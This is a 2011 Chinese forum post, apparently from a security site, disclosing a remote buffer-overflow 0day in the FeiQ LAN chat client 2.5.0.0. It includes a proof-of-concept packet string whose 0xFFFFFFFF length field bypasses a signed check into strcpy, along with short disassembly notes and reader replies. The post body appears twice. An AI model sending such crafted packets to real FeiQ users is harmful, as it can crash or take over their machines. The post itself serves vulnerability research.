-
-
[原创]飞秋远程可利用0day
-
2011-11-22 10:09
-
这是人生中的第一个0day，在此发表留个脚印，本漏洞发现于2011.11.21（昨天）。
飞秋是一款很流行的区域网聊天工具，很多校内网（我学校就用这个聊天的
）和公司内部都在使用。
声明：本贴只用于学习交流，如使用本帖技术用于非法用途，后果自负。
测试版本：虚拟机中Windows XP SP3，飞秋版本为2.5.0.0。
漏洞分析：
POC：
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
sub_4405A0为从ecx指向的字符串中提取出第五个和第六个#之间的字符串。
ecx指向的是：1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
eax为输出地址，运行后var_4024为字符串4294967295（0xFFFFFFFF）
运行后var_4028位0xFFFFFFFF
绕过有符号比较，进入strcpy,esi指向AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
结果图：
飞秋是一款很流行的区域网聊天工具，很多校内网（我学校就用这个聊天的
）和公司内部都在使用。声明：本贴只用于学习交流，如使用本帖技术用于非法用途，后果自负。
测试版本：虚拟机中Windows XP SP3，飞秋版本为2.5.0.0。
漏洞分析：
POC：
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
sub_4405A0为从ecx指向的字符串中提取出第五个和第六个#之间的字符串。
ecx指向的是：1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
eax为输出地址，运行后var_4024为字符串4294967295（0xFFFFFFFF）
运行后var_4028位0xFFFFFFFF
绕过有符号比较，进入strcpy,esi指向AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
结果图：
[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
哇，好厉害
 怎么下不了 - -
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ylbhz 请下载我的附件：飞秋POC代码.rar 进行测试。看了代码自然就明白了
开始发现的时候我就感觉应该有人发现了，因为这个漏洞不难，但是没有人公布。 
|
|
|
|
|
|
呵呵，学习了，谢谢分享
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
